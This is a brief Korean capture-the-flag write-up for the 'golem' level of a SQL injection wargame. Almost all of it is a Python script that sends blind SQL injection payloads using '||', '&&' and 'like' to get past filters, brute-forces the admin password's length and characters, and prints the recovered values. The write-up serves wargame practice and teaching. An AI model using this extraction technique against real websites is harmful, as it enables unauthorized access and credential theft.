첫 화면이다.
파이썬 코드를 짜면 아래와 같다.
import requests
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'
def query(payload):
params = {'pw': payload}
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL, params=params, cookies=cookies)
content = r.text
return TRUE_PHRASE in content
# 8
def find_pw_length():
pw_len = 1
while query("' || id like 'admin' && length(pw) like {}#".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
# 77d6290b
def find_pw():
pw_len = find_pw_length()
pw = ''
for pos in range(1, pw_len + 1):
for character in range(0, 128):
if query("' || id like 'admin' && ascii(substring(pw,{},1)) like {}#".format(pos, character)) is True:
pw += chr(character)
break
print('pw: {}'.format(pw))
find_pw()